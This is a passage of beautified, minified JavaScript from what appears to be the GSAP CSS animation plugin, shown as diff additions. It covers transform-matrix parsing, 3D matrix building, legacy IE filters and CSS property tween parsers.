Math.atan2(L, Y), + j, H, I, F, z, R; + if (s.zOrigin) { + P = -s.zOrigin; + D = x * P - c[12]; + C = S * P - c[13]; + P = Y * P + s.zOrigin - c[14] + } + s.rotationX = O * E; + if (O) { + z = Math.cos(-O); + R = Math.sin(-O); + j = M * z + x * R; + H = k * z + S * R; + I = L * z + Y * R; + x = M * -R + x * z; + S = k * -R + S * z; + Y = L * -R + Y * z; + A = T * -R + A * z; + M = j; + k = H; + L = I + } + O = Math.atan2(-b, Y); + s.rotationY = O * E; + if (O) { + z = Math.cos(-O); + R = Math.sin(-O); + j = g * z - x * R; + H = y * z - S * R; + I = b * z - Y * R; + S = y * R + S * z; + Y = b * R + Y * z; + A = w * R + A * z; + g = j; + y = H; + b = I + } + O = Math.atan2(y, g); + s.rotation = O * E; + if (O) { + z = Math.cos(O); + R = Math.sin(O); + j = g * z + y * R; + H = M * z + k * R; + I = x * z + S * R; + y = y * z - g * R; + k = k * z - M * R; + S = S * z - x * R; + g = j; + M = H; + x = I + } + if (s.rotationX && Math.abs(s.rotationX) + Math.abs(s.rotation) > 359.9) { + s.rotationX = s.rotation = 0; + s.rotationY = 180 - s.rotationY + } + O = Math.atan2(M, k); + s.scaleX = (Math.sqrt(g * g + y * y + b * b) * u + .5 | 0) / u; + s.scaleY = (Math.sqrt(k * k + L * L) * u + .5 | 0) / u; + s.scaleZ = (Math.sqrt(x * x + S * S + Y * Y) * u + .5 | 0) / u; + g /= s.scaleX; + M /= s.scaleY; + y /= s.scaleX; + k /= s.scaleY; + if (Math.abs(O) > l) { + s.skewX = O * E; + M = 0; + if (s.skewType !== "simple") { + s.scaleY *= 1 / Math.cos(O) + } + } else { + s.skewX = 0 + } + s.perspective = A ? 1 / (A < 0 ? -A : A) : 0; + s.x = D; + s.y = C; + s.z = P; + if (s.svg) { + s.x -= s.xOrigin - (s.xOrigin * g - s.yOrigin * M); + s.y -= s.yOrigin - (s.yOrigin * y - s.xOrigin * k) + } + } else if (!Ae || a || !c.length || s.x !== c[4] || s.y !== c[5] || !s.rotationX && !s.rotationY) { + var N = c.length >= 6, + W = N ? c[0] : 1, + B = c[1] || 0, + q = c[2] || 0, + $ = N ? c[3] : 1; + s.x = c[4] || 0; + s.y = c[5] || 0; + m = Math.sqrt(W * W + B * B); + p = Math.sqrt($ * $ + q * q); + v = W || B ? Math.atan2(B, W) * E : s.rotation || 0; + _ = q || $ ? Math.atan2(q, $) * E + v : s.skewX || 0; + s.scaleX = m; + s.scaleY = p; + s.rotation = v; + s.skewX = _; + if (Ae) { + s.rotationX = s.rotationY = s.z = 0; + s.perspective = f; + s.scaleZ = 1 + } + if (s.svg) { + s.x -= s.xOrigin - (s.xOrigin * W + s.yOrigin * q); + s.y -= s.yOrigin - (s.xOrigin * B + s.yOrigin * $) + } + } + if (Math.abs(s.skewX) > 90 && Math.abs(s.skewX) < 270) { + if (o) { + s.scaleX *= -1; + s.skewX += s.rotation <= 0 ? 180 : -180; + s.rotation += s.rotation <= 0 ? 180 : -180 + } else { + s.scaleY *= -1; + s.skewX += s.skewX <= 0 ? 180 : -180 + } + } + s.zOrigin = d; + for (h in s) { + if (s[h] < l) + if (s[h] > -l) { + s[h] = 0 + } + } + } + if (r) { + e._gsTransform = s; + if (s.svg) { + if (He && e.style[Ee]) { + t.delayedCall(.001, function () { + Je(e.style, Ee) + }) + } else if (!He && e.getAttribute("transform")) { + t.delayedCall(.001, function () { + e.removeAttribute("transform") + }) + } + } + } + return s + }, + Ge = function (e) { + var t = this.data, + i = -t.rotation * D, + n = i + t.skewX * D, + r = 1e5, + a = (Math.cos(i) * t.scaleX * r | 0) / r, + s = (Math.sin(i) * t.scaleX * r | 0) / r, + o = (Math.sin(n) * -t.scaleY * r | 0) / r, + l = (Math.cos(n) * t.scaleY * r | 0) / r, + u = this.t.style, + d = this.t.currentStyle, + f, c; + if (!d) { + return + } + c = s; + s = -o; + o = -c; + f = d.filter; + u.filter = ""; + var h = this.t.offsetWidth, + m = this.t.offsetHeight, + _ = d.position !== "absolute", + g = "progid:DXImageTransform.Microsoft.Matrix(M11=" + a + ", M12=" + s + ", M21=" + o + ", M22=" + l, + y = t.x + h * t.xPercent / 100, + b = t.y + m * t.yPercent / 100, + w, M; + if (t.ox != null) { + w = (t.oxp ? h * t.ox * .01 : t.ox) - h / 2; + M = (t.oyp ? m * t.oy * .01 : t.oy) - m / 2; + y += w - (w * a + M * s); + b += M - (w * o + M * l) + } + if (!_) { + g += ", sizingMethod='auto expand')" + } else { + w = h / 2; + M = m / 2; + g += ", Dx=" + (w - (w * a + M * s) + y) + ", Dy=" + (M - (w * o + M * l) + b) + ")" + } + if (f.indexOf("DXImageTransform.Microsoft.Matrix(") !== -1) { + u.filter = f.replace(x, g) + } else { + u.filter = g + " " + f + } + if (e === 0 || e === 1) + if (a === 1) + if (s === 0) + if (o === 0) + if (l === 1) + if (!_ || g.indexOf("Dx=0, Dy=0") !== -1) + if (!v.test(f) || parseFloat(RegExp.$1) === 100) + if (f.indexOf("gradient(" && f.indexOf("Alpha")) === -1) { + u.removeAttribute("filter") + } + if (!_) { + var k = q < 8 ? 1 : -1, + L, T, S; + w = t.ieOffsetX || 0; + M = t.ieOffsetY || 0; + t.ieOffsetX = Math.round((h - ((a < 0 ? -a : a) * h + (s < 0 ? -s : s) * m)) / 2 + y); + t.ieOffsetY = Math.round((m - ((l < 0 ? -l : l) * m + (o < 0 ? -o : o) * h)) / 2 + b); + for (Te = 0; Te < 4; Te++) { + T = se[Te]; + L = d[T]; + c = L.indexOf("px") !== -1 ? parseFloat(L) : te(this.t, T, parseFloat(L), L.replace(p, "")) || 0; + if (c !== t[T]) { + S = Te < 2 ? -t.ieOffsetX : -t.ieOffsetY + } else { + S = Te < 2 ? w - t.ieOffsetX : M - t.ieOffsetY + } + u[T] = (t[T] = Math.round(c - S * (Te === 0 || Te === 2 ? 1 : k))) + "px" + } + } + }, + Ue = I.set3DTransformRatio = I.setTransformRatio = function (e) { + var t = this.data, + i = this.t.style, + n = t.rotation, + r = t.rotationX, + a = t.rotationY, + s = t.scaleX, + o = t.scaleY, + l = t.scaleZ, + u = t.x, + d = t.y, + f = t.z, + c = t.svg, + h = t.perspective, + m = t.force3D, + p = t.skewY, + v = t.skewX, + _, g, y, b, w, M, k, L, T, x, S, Y, E, C, P, A, O, j, H, I, F, z, R; + if (p) { + v += p; + n += p + } + if (((e === 1 || e === 0) && m === "auto" && (this.tween._totalTime === this.tween._totalDuration || !this.tween._totalTime) || !m) && !f && !h && !a && !r && l === 1 || He && c || !Ae) { + if (n || v || c) { + n *= D; + z = v * D; + R = 1e5; + g = Math.cos(n) * s; + w = Math.sin(n) * s; + y = Math.sin(n - z) * -o; + M = Math.cos(n - z) * o; + if (z && t.skewType === "simple") { + _ = Math.tan(z - p * D); + _ = Math.sqrt(1 + _ * _); + y *= _; + M *= _; + if (p) { + _ = Math.tan(p * D); + _ = Math.sqrt(1 + _ * _); + g *= _; + w *= _ + } + } + if (c) { + u += t.xOrigin - (t.xOrigin * g + t.yOrigin * y) + t.xOffset; + d += t.yOrigin - (t.xOrigin * w + t.yOrigin * M) + t.yOffset; + if (He && (t.xPercent || t.yPercent)) { + P = this.t.getBBox(); + u += t.xPercent * .01 * P.width; + d += t.yPercent * .01 * P.height + } + P = 1e-6; + if (u < P) + if (u > -P) { + u = 0 + } + if (d < P) + if (d > -P) { + d = 0 + } + } + H = (g * R | 0) / R + "," + (w * R | 0) / R + "," + (y * R | 0) / R + "," + (M * R | 0) / R + "," + u + "," + d + ")"; + if (c && He) { + this.t.setAttribute("transform", "matrix(" + H) + } else { + i[Ee] = (t.xPercent || t.yPercent ? "translate(" + t.xPercent + "%," + t.yPercent + "%) matrix(" : "matrix(") + H + } + } else { + i[Ee] = (t.xPercent || t.yPercent ? "translate(" + t.xPercent + "%," + t.yPercent + "%) matrix(" : "matrix(") + s + ",0,0," + o + "," + u + "," + d + ")" + } + return + } + if (W) { + P = 1e-4; + if (s < P && s > -P) { + s = l = 2e-5 + } + if (o < P && o > -P) { + o = l = 2e-5 + } + if (h && !t.z && !t.rotationX && !t.rotationY) { + h = 0 + } + } + if (n || v) { + n *= D; + A = g = Math.cos(n); + O = w = Math.sin(n); + if (v) { + n -= v * D; + A = Math.cos(n); + O = Math.sin(n); + if (t.skewType === "simple") { + _ = Math.tan((v - p) * D); + _ = Math.sqrt(1 + _ * _); + A *= _; + O *= _; + if (t.skewY) { + _ = Math.tan(p * D); + _ = Math.sqrt(1 + _ * _); + g *= _; + w *= _ + } + } + } + y = -O; + M = A + } else if (!a && !r && l === 1 && !h && !c) { + i[Ee] = (t.xPercent || t.yPercent ? "translate(" + t.xPercent + "%," + t.yPercent + "%) translate3d(" : "translate3d(") + u + "px," + d + "px," + f + "px)" + (s !== 1 || o !== 1 ? " scale(" + s + "," + o + ")" : ""); + return + } else { + g = M = 1; + y = w = 0 + } + x = 1; + b = k = L = T = S = Y = 0; + E = h ? -1 / h : 0; + C = t.zOrigin; + P = 1e-6; + I = ","; + F = "0"; + n = a * D; + if (n) { + A = Math.cos(n); + O = Math.sin(n); + L = -O; + S = E * -O; + b = g * O; + k = w * O; + x = A; + E *= A; + g *= A; + w *= A + } + n = r * D; + if (n) { + A = Math.cos(n); + O = Math.sin(n); + _ = y * A + b * O; + j = M * A + k * O; + T = x * O; + Y = E * O; + b = y * -O + b * A; + k = M * -O + k * A; + x = x * A; + E = E * A; + y = _; + M = j + } + if (l !== 1) { + b *= l; + k *= l; + x *= l; + E *= l + } + if (o !== 1) { + y *= o; + M *= o; + T *= o; + Y *= o + } + if (s !== 1) { + g *= s; + w *= s; + L *= s; + S *= s + } + if (C || c) { + if (C) { + u += b * -C; + d += k * -C; + f += x * -C + C + } + if (c) { + u += t.xOrigin - (t.xOrigin * g + t.yOrigin * y) + t.xOffset; + d += t.yOrigin - (t.xOrigin * w + t.yOrigin * M) + t.yOffset + } + if (u < P && u > -P) { + u = F + } + if (d < P && d > -P) { + d = F + } + if (f < P && f > -P) { + f = 0 + } + } + H = t.xPercent || t.yPercent ? "translate(" + t.xPercent + "%," + t.yPercent + "%) matrix3d(" : "matrix3d("; + H += (g < P && g > -P ? F : g) + I + (w < P && w > -P ? F : w) + I + (L < P && L > -P ? F : L); + H += I + (S < P && S > -P ? F : S) + I + (y < P && y > -P ? F : y) + I + (M < P && M > -P ? F : M); + if (r || a || l !== 1) { + H += I + (T < P && T > -P ? F : T) + I + (Y < P && Y > -P ? F : Y) + I + (b < P && b > -P ? F : b); + H += I + (k < P && k > -P ? F : k) + I + (x < P && x > -P ? F : x) + I + (E < P && E > -P ? F : E) + I + } else { + H += ",0,0,0,0,1,0," + } + H += u + I + d + I + f + I + (h ? 1 + -f / h : 1) + ")"; + i[Ee] = H + }; + d = Oe.prototype; + d.x = d.y = d.z = d.skewX = d.skewY = d.rotation = d.rotationX = d.rotationY = d.zOrigin = d.xPercent = d.yPercent = d.xOffset = d.yOffset = 0; + d.scaleX = d.scaleY = d.scaleZ = 1; + Se("transform,scale,scaleX,scaleY,scaleZ,x,y,z,rotation,rotationX,rotationY,rotationZ,skewX,skewY,shortRotation,shortRotationX,shortRotationY,shortRotationZ,transformOrigin,svgOrigin,transformPerspective,directionalRotation,parseTransform,force3D,skewType,xPercent,yPercent,smoothOrigin", { + parser: function (e, t, n, r, a, s, l) { + if (r._lastParsedTransform === l) { + return a + } + r._lastParsedTransform = l; + var u = l.scale && typeof l.scale === "function" ? l.scale : 0, + d; + if (typeof l[n] === "function") { + d = l[n]; + l[n] = t + } + if (u) { + l.scale = u(X, e) + } + var f = e._gsTransform, + c = e.style, + h = 1e-6, + m = De.length, + p = l, + v = {}, + _ = "transformOrigin", + g = Ve(e, o, true, p.parseTransform), + y = p.transform && (typeof p.transform === "function" ? p.transform(X, U) : p.transform), + b, w, M, k, L, T, x, S, Y; + g.skewType = p.skewType || g.skewType || i.defaultSkewType; + r._transform = g; + if (y && typeof y === "string" && Ee) { + w = j.style; + w[Ee] = y; + w.display = "block"; + w.position = "absolute"; + A.body.appendChild(j); + b = Ve(j, null, false); + if (g.skewType === "simple") { + b.scaleY *= Math.cos(b.skewX * D) + } + if (g.svg) { + T = g.xOrigin; + x = g.yOrigin; + b.x -= g.xOffset; + b.y -= g.yOffset; + if (p.transformOrigin || p.svgOrigin) { + y = {}; + Re(e, le(p.transformOrigin), y, p.svgOrigin, p.smoothOrigin, true); + T = y.xOrigin; + x = y.yOrigin; + b.x -= y.xOffset - g.xOffset; + b.y -= y.yOffset - g.yOffset + } + if (T || x) { + S = $e(j, true); + b.x -= T - (T * S[0] + x * S[2]); + b.y -= x - (T * S[1] + x * S[3]) + } + } + A.body.removeChild(j); + if (!b.perspective) { + b.perspective = g.perspective + } + if (p.xPercent != null) { + b.xPercent = de(p.xPercent, g.xPercent) + } + if (p.yPercent != null) { + b.yPercent = de(p.yPercent, g.yPercent) + } + } else if (typeof p === "object") { + b = { + scaleX: de(p.scaleX != null ? p.scaleX : p.scale, g.scaleX), + scaleY: de(p.scaleY != null ? p.scaleY : p.scale, g.scaleY), + scaleZ: de(p.scaleZ, g.scaleZ), + x: de(p.x, g.x), + y: de(p.y, g.y), + z: de(p.z, g.z), + xPercent: de(p.xPercent, g.xPercent), + yPercent: de(p.yPercent, g.yPercent), + perspective: de(p.transformPerspective, g.perspective) + }; + L = p.directionalRotation; + if (L != null) { + if (typeof L === "object") { + for (w in L) { + p[w] = L[w] + } + } else { + p.rotation = L + } + } + if (typeof p.x === "string" && p.x.indexOf("%") !== -1) { + b.x = 0; + b.xPercent = de(p.x, g.xPercent) + } + if (typeof p.y === "string" && p.y.indexOf("%") !== -1) { + b.y = 0; + b.yPercent = de(p.y, g.yPercent) + } + b.rotation = fe("rotation" in p ? p.rotation : "shortRotation" in p ? p.shortRotation + "_short" : "rotationZ" in p ? p.rotationZ : g.rotation, g.rotation, "rotation", v); + if (Ae) { + b.rotationX = fe("rotationX" in p ? p.rotationX : "shortRotationX" in p ? p.shortRotationX + "_short" : g.rotationX || 0, g.rotationX, "rotationX", v); + b.rotationY = fe("rotationY" in p ? p.rotationY : "shortRotationY" in p ? p.shortRotationY + "_short" : g.rotationY || 0, g.rotationY, "rotationY", v) + } + b.skewX = fe(p.skewX, g.skewX); + b.skewY = fe(p.skewY, g.skewY) + } + if (Ae && p.force3D != null) { + g.force3D = p.force3D; + k = true + } + M = g.force3D || g.z || g.rotationX || g.rotationY || b.z || b.rotationX || b.rotationY || b.perspective; + if (!M && p.scale != null) { + b.scaleZ = 1 + } + while (--m > -1) { + Y = De[m]; + y = b[Y] - g[Y]; + if (y > h || y < -h || p[Y] != null || C[Y] != null) { + k = true; + a = new Me(g, Y, g[Y], y, a); + if (Y in v) { + a.e = v[Y] + } + a.xs0 = 0; + a.plugin = s; + r._overwriteProps.push(a.n) + } + } + y = p.transformOrigin; + if (g.svg && (y || p.svgOrigin)) { + T = g.xOffset; + x = g.yOffset; + Re(e, le(y), b, p.svgOrigin, p.smoothOrigin); + a = ke(g, "xOrigin", (f ? g : b).xOrigin, b.xOrigin, a, _); + a = ke(g, "yOrigin", (f ? g : b).yOrigin, b.yOrigin, a, _); + if (T !== g.xOffset || x !== g.yOffset) { + a = ke(g, "xOffset", f ? T : g.xOffset, g.xOffset, a, _); + a = ke(g, "yOffset", f ? x : g.yOffset, g.yOffset, a, _) + } + y = "0px 0px" + } + if (y || Ae && M && g.zOrigin) { + if (Ee) { + k = true; + Y = Pe; + y = (y || ee(e, Y, o, false, "50% 50%")) + ""; + a = new Me(c, Y, 0, 0, a, -1, _); + a.b = c[Y]; + a.plugin = s; + if (Ae) { + w = g.zOrigin; + y = y.split(" "); + g.zOrigin = (y.length > 2 && !(w !== 0 && y[2] === "0px") ? parseFloat(y[2]) : w) || 0; + a.xs0 = a.e = y[0] + " " + (y[1] || "50%") + " 0px"; + a = new Me(g, "zOrigin", 0, 0, a, -1, a.n); + a.b = w; + a.xs0 = a.e = g.zOrigin + } else { + a.xs0 = a.e = y + } + } else { + le(y + "", g) + } + } + if (k) { + r._transformType = !(g.svg && He) && (M || this._transformType === 3) ? 3 : 2 + } + if (d) { + l[n] = d + } + if (u) { + l.scale = u + } + return a + }, + prefix: true + }); + Se("boxShadow", { + defaultValue: "0px 0px 0px 0px #999", + prefix: true, + color: true, + multi: true, + keyword: "inset" + }); + Se("borderRadius", { + defaultValue: "0px", + parser: function (e, t, i, n, r, a) { + t = this.format(t); + var l = ["borderTopLeftRadius", "borderTopRightRadius", "borderBottomRightRadius", "borderBottomLeftRadius"], + u = e.style, + d, f, c, h, m, p, v, _, g, y, b, w, M, k, L, T; + g = parseFloat(e.offsetWidth); + y = parseFloat(e.offsetHeight); + d = t.split(" "); + for (f = 0; f < l.length; f++) { + if (this.p.indexOf("border")) { + l[f] = Q(l[f]) + } + m = h = ee(e, l[f], o, false, "0px"); + if (m.indexOf(" ") !== -1) { + h = m.split(" "); + m = h[0]; + h = h[1] + } + p = c = d[f]; + v = parseFloat(m); + w = m.substr((v + "").length); + M = p.charAt(1) === "="; + if (M) { + _ = parseInt(p.charAt(0) + "1", 10); + p = p.substr(2); + _ *= parseFloat(p); + b = p.substr((_ + "").length - (_ < 0 ? 1 : 0)) || "" + } else { + _ = parseFloat(p); + b = p.substr((_ + "").length) + } + if (b === "") { + b = s[i] || w + } + if (b !== w) { + k = te(e, "borderLeft", v, w); + L = te(e, "borderTop", v, w); + if (b === "%") { + m = k / g * 100 + "%"; + h = L / y * 100 + "%" + } else if (b === "em") { + T = te(e, "borderLeft", 1, "em"); + m = k / T + "em"; + h = L / T + "em" + } else { + m = k + "px"; + h = L + "px" + } + if (M) { + p = parseFloat(m) + _ + b; + c = parseFloat(h) + _ + b + } + } + r = Le(u, l[f], m + " " + h, p + " " + c, false, "0px", r) + } + return r + }, + prefix: true, + formatter: _e("0px 0px 0px 0px", false, true) + }); + Se("borderBottomLeftRadius,borderBottomRightRadius,borderTopLeftRadius,borderTopRightRadius", { + defaultValue: "0px", + parser: function (e, t, i, n, r, a) { + return Le(e.style, i, this.format(ee(e, i, o, false, "0px 0px")), this.format(t), false, "0px", r) + }, + prefix: true, + formatter: _e("0px 0px", false, true) + }); + Se("backgroundPosition", { + defaultValue: "0 0", + parser: function (e, t, i, n, r, a) { + var s = "background-position", + l = o || Z(e, null), + u = this.format((l ? q ? l.getPropertyValue(s + "-x") + " " + l.getPropertyValue(s + "-y") : l.getPropertyValue(s) : e.currentStyle.backgroundPositionX + " " + e.currentStyle.backgroundPositionY) || "0 0"), + d = this.format(t), + f, c, h, m, p, v; + if (u.indexOf("%") !== -1 !== (d.indexOf("%") !== -1) && d.split(",").length < 2) { + v = ee(e, "backgroundImage").replace(M, ""); + if (v && v !== "none") { + f = u.split(" "); + c = d.split(" "); + H.setAttribute("src", v); + h = 2; + while (--h > -1) { + u = f[h]; + m = u.indexOf("%") !== -1; + if (m !== (c[h].indexOf("%") !== -1)) { + p = h === 0 ? e.offsetWidth - H.width : e.offsetHeight - H.height; + f[h] = m ? parseFloat(u) / 100 * p + "px" : parseFloat(u) / p * 100 + "%" + } + } + u = f.join(" ") + } + } + return this.parseComplex(e.style, u, d, r, a) + }, + formatter: le + }); + Se("backgroundSize", { + defaultValue: "0 0", + formatter: function (e) { + e += ""; + return le(e.indexOf(" ") === -1 ? e + " " + e : e) + } + }); + Se("perspective", { + defaultValue: "0px", + prefix: true + }); + Se("perspectiveOrigin", { + defaultValue: "50% 50%", + prefix: true + }); + Se("transformStyle", { + prefix: true + }); + Se("backfaceVisibility", { + prefix: true + }); + Se("userSelect", { + prefix: true + }); + Se("margin", { + parser: ge("marginTop,marginRight,marginBottom,marginLeft") + }); + Se("padding", { + parser: ge("paddingTop,paddingRight,paddingBottom,paddingLeft") + }); + Se("clip", { + defaultValue: "rect(0px,0px,0px,0px)", + parser: function (e, t, i, n, r, a) { + var s, l, u; + if (q < 9) { + l = e.currentStyle; + u = q < 8 ? " " : ","; + s = "rect(" + l.clipTop + u + l.clipRight + u + l.clipBottom + u + l.clipLeft + ")"; + t = this.format(t).split(",").join(u) + } else { + s = this.format(ee(e, this.p, o, false, this.dflt)); + t = this.format(t) + } + return this.parseComplex(e.style, s, t, r, a) + } + }); + Se("textShadow", { + defaultValue: "0px 0px 0px #999", + color: true, + multi: true + }); + Se("autoRound,strictUnits", { + parser: function (e, t, i, n, r) { + return r + } + }); + Se("border", { + defaultValue: "0px solid #000", + parser: function (e, t, i, n, r, a) { + var s = ee(e, "borderTopWidth", o, false, "0px"), + l = this.format(t).split(" "), + u = l[0].replace(p, ""); + if (u !== "px") { + s = parseFloat(s) / te(e, "borderTopWidth", 1, u) + u + } + return this.parseComplex(e.style, this.format(s + " " + ee(e, "borderTopStyle", o, false, "solid") + " " + ee(e, "borderTopColor", o, false, "#000")), l.join(" "), r, a) + }, + color: true, + formatter: function (e) { + var t = e.split(" "); + return t[0] + " " + (t[1] || "solid") + " " + (e.match(ve) || ["#000"])[0] + } + }); + Se("borderWidth", { + parser: ge("borderTopWidth,borderRightWidth,borderBottomWidth,borderLeftWidth") + }); + Se("float,cssFloat,styleFloat", { + parser: function (e, t, i, n, r, a) { + var s = e.style, + o = "cssFloat" in s ? "cssFloat" : "styleFloat"; + return new Me(s, o, 0, 0, r, -1, i, false, 0, s[o], t) + } + }); + var Xe = function (e) { + var t = this.t, + i = t.filter || ee(this.data, "filter") || "", + n = this.s + this.c * e | 0, + r; + if (n === 100) { + if (i.indexOf("atrix(") === -1 && i.indexOf("radient(") === -1 && i.indexOf("oader(") === -1) { + t.removeAttribute("filter"); + r = !ee(this.data, "filter") + } else { + t.filter = i.replace(g, ""); + r = true + } + } + if (!r) { + if (this.xn1) { + t.filter = i = i || "alpha(opacity=" + n + ")" + } + if (i.indexOf("pacity") === -1) { + if (n !== 0 || !this.xn1) { + t.filter = i + " alpha(opacity=" + n + ")" + } + } else { + t.filter = i.replace(v, "opacity=" + n) + } + } + }; + Se("opacity,alpha,autoAlpha", { + defaultValue: "1", + parser: function (e, t, i, n, r, a) { + var s = parseFloat(ee(e, "opacity", o, false, "1")), + l = e.style, + u = i === "autoAlpha"; + if (typeof t === "string" && t.charAt(1) === "=") { + t = (t.charAt(0) === "-" ? -1 : 1) * parseFloat(t.substr(2)) + s + } + if (u && s === 1 && ee(e, "visibility", o) === "hidden" && t !== 0) { + s = 0 + } + if ($) { + r = new Me(l, "opacity", s, t - s, r) + } else { + r = new Me(l, "opacity", s * 100, (t - s) * 100, r); + r.xn1 = u ? 1 : 0; + l.zoom = 1; + r.type = 2; + r.b = "alpha(opacity=" + r.s + ")"; + r.e = "alpha(opacity=" + (r.s + r.c) + ")"; + r.data = e; + r.plugin = a; + r.setRatio = Xe + } + if (u) { + r = new Me(l, "visibility", 0, 0, r, -1, null, false, 0, s !== 0 ? "inherit" : "hidden", t === 0 ? "hidden" : "inherit"); + r.xs0 = "inherit"; + n._overwriteProps.push(r.n); + n._overwriteProps.push(i) + } + return r + } + }); + var Je = function (e, t) { + if (t) { + if (e.removeProperty) { + if (t.substr(0, 2) === "ms" || t.substr(0, 6) === "webkit") { + t = "-" + t + } + e.removeProperty(t.replace(b, "-$1").toLowerCase()) + } else { + e.removeAttribute(t) + } + } + }, + Ke = function (e) { + this.t._gsClassPT = this; + if (e === 1 || e === 0) { + this.t.setAttribute("class", e === 0 ? this.b : this.e); + var t = this.data, + i = this.t.style; + while (t) { + if (!t.v) { + Je(i, t.p) + } else { + i[t.p] = t.v + } + t = t._next + } + if (e === 1 && this.t._gsClassPT === this) { + this.t._gsClassPT = null + } + } else if (this.t.getAttribute("class") !== this.e) { + this.t.setAttribute("class", this.e) + } + }; + Se("className", { + parser: function (e, t, i, n, a, s, l) { + var u = e.getAttribute("class") || "", + d = e.style.cssText, + f, c, h, m, p; + a = n._classNamePT = new Me(e, i, 0, 0, a, 2); + a.setRatio = Ke; + a.pr = -11; + r = true; + a.b = u; + c = ne(e, o); + h = e._gsClassPT; + if (h) { + m = {}; + p = h.data; + while (p) { + m[p.p] = 1; + p = p._next + } + h.setRatio(1) + } + e._gsClassPT = a; + a.e = t.charAt(1) !== "=" ? t : u.replace(new RegExp("(?:\\s|^)" + t.substr(2) + "(?![\\w-])"), "") + (t.charAt(0) === "+" ? " " + t.substr(2) : ""); + e.setAttribute("class", a.e); + f = re(e, c, ne(e), l, m); + e.setAttribute("class", u); + a.data = f.firstMPT; + e.style.cssText = d; + a = a.xfirst = n.parse(e, f.difs, a, s); + return a + } + }); + var Qe = function (e) { + if (e === 1 || e === 0) + if (this.data._totalTime === this.data._totalDuration && this.data.data !== "isFromStart") { + var t = this.t.style, + i = u.transform.parse, + n, r, a, s, o; + if (this.e === "all") { + t.cssText = ""; + s = true + } else { + n = this.e.split(" ").join("").split(","); + a = n.length; + while (--a > -1) { + r = n[a]; + if (u[r]) { + if (u[r].parse === i) { + s = true + } else { + r = r === "transformOrigin" ? Pe : u[r].p + } + } + Je(t, r) + } + } + if (s) { + Je(t, Ee); + o = this.t._gsTransform; + if (o) { + if (o.svg) { + this.t.removeAttribute("data-svg-origin"); + this.t.removeAttribute("transform") + } + delete this.t._gsTransform + } + } + } + }; + Se("clearProps", { + parser: function (e, t, i, n, a) { + a = new Me(e, i, 0, 0, a, 2); + a.setRatio = Qe; + a.e = t; + a.pr = -10; + a.data = n._tween; + r = true; + return a + } + }); + d = "bezier,throwProps,physicsProps,physics2D".split(","); + Te = d.length; + while (Te--) { + Ye(d[Te]) + } + d = i.prototype; + d._firstPT = d._lastParsedTransform = d._transform = null; + d._onInitTween = function (e, t, n, a) { + if (!e.nodeType) { + return false + } + this._target = U = e; + this._tween = n; + this._vars = t; + X = a; + z = t.autoRound; + r = false; + s = t.suffixMap || i.suffixMap; + o = Z(e, ""); + l = this._overwriteProps; + var d = e.style, + f, c, h, m, p, v, g, y, b; + if (R) + if (d.zIndex === "") { + f = ee(e, "zIndex", o); + if (f === "auto" || f === "") { + this._addLazySet(d, "zIndex", 0) + } + } + if (typeof t === "string") { + m = d.cssText; + f = ne(e, o); + d.cssText = m + ";" + t; + f = re(e, f, ne(e)).difs; + if (!$ && _.test(t)) { + f.opacity = parseFloat(RegExp.$1) + } + t = f; + d.cssText = m + } + if (t.className) { + this._firstPT = c = u.className.parse(e, t.className, "className", this, null, null, t) + } else { + this._firstPT = c = this.parse(e, t, null) + } + if (this._transformType) { + b = this._transformType === 3; + if (!Ee) { + d.zoom = 1 + } else if (N) { + R = true; + if (d.zIndex === "") { + g = ee(e, "zIndex", o); + if (g === "auto" || g === "") { + this._addLazySet(d, "zIndex", 0) + } + } + if (B) { + this._addLazySet(d, "WebkitBackfaceVisibility", this._vars.WebkitBackfaceVisibility || (b ? "visible" : "hidden")) + } + } + h = c; + while (h && h._next) { + h = h._next + } + y = new Me(e, "transform", 0, 0, null, 2); + this._linkCSSP(y, null, h); + y.setRatio = Ee ? Ue : Ge; + y.data = this._transform || Ve(e, o, true); + y.tween = n; + y.pr = -1; + l.pop() + } + if (r) { + while (c) { + v = c._next; + h = m; + while (h && h.pr > c.pr) { + h = h._next + } + if (c._prev = h ? h._prev : p) { + c._prev._next = c + } else { + m = c + } + if (c._next = h) { + h._prev = c + } else { + p = c + } + c = v + } + this._firstPT = m + } + return true + }; + d.parse = function (e, t, i, n) { + var r = e.style, + a, l, d, f, c, h, m, v, _, g; + for (a in t) { + h = t[a]; + if (typeof h === "function") { + h = h(X, U) + } + l = u[a]; + if (l) { + i = l.parse(e, h, a, this, i, n, t) + } else if (a.substr(0, 2) === "--") { + this._tween._propLookup[a] = this._addTween.call(this._tween, e.style, "setProperty", Z(e).getPropertyValue(a) + "", h + "", a, false, a); + continue + } else { + c = ee(e, a, o) + ""; + _ = typeof h === "string"; + if (a === "color" || a === "fill" || a === "stroke" || a.indexOf("Color") !== -1 || _ && y.test(h)) { + if (!_) { + h = me(h); + h = (h.length > 3 ? "rgba(" : "rgb(") + h.join(",") + ")" + } + i = Le(r, a, c, h, true, "transparent", i, 0, n) + } else if (_ && Y.test(h)) { + i = Le(r, a, c, h, true, null, i, 0, n) + } else { + d = parseFloat(c); + m = d || d === 0 ? c.substr((d + "").length) : ""; + if (c === "" || c === "auto") { + if (a === "width" || a === "height") { + d = oe(e, a, o); + m = "px" + } else if (a === "left" || a === "top") { + d = ie(e, a, o); + m = "px" + } else { + d = a !== "opacity" ? 0 : 1; + m = "" + } + } + g = _ && h.charAt(1) === "="; + if (g) { + f = parseInt(h.charAt(0) + "1", 10); + h = h.substr(2); + f *= parseFloat(h); + v = h.replace(p, "") + } else { + f = parseFloat(h); + v = _ ? h.replace(p, "") : "" + } + if (v === "") { + v = a in s ? s[a] : m + } + h = f || f === 0 ? (g ? f + d : f) + v : t[a]; + if (m !== v) + if (v !== "" || a === "lineHeight") + if (f || f === 0) + if (d) { + d = te(e, a, d, m); + if (v === "%") { + d /= te(e, a, 100, "%") / 100; + if (t.strictUnits !== true) { + c = d + "%" + } + } else if (v === "em" || v === "rem" || v === "vw" || v === "vh") { + d /= te(e, a, 1, v) + } else if (v !== "px") { + f = te(e, a, f, v); + v = "px" + } + if (g) + if (f || f === 0) { + h = f + d + v + } + } + if (g) { + f += d + } + if ((d || d === 0) && (f || f === 0)) { + i = new Me(r, a, d, f - d, i, 0, a, z !== false && (v === "px" || a === "zIndex"), 0, c, h); + i.xs0 = v + } else if (r[a] === undefined || !h && (h + "" === "NaN" || h == null)) { + G("invalid " + a + " tween value: " + t[a]) + } else { + i = new Me(r, a, f || d || 0, 0, i, -1, a, false, 0, c, h); + i.xs0 = h === "none" && (a === "display" || a.indexOf("Style") !== -1) ? c : h + } + } + } + if (n) + if 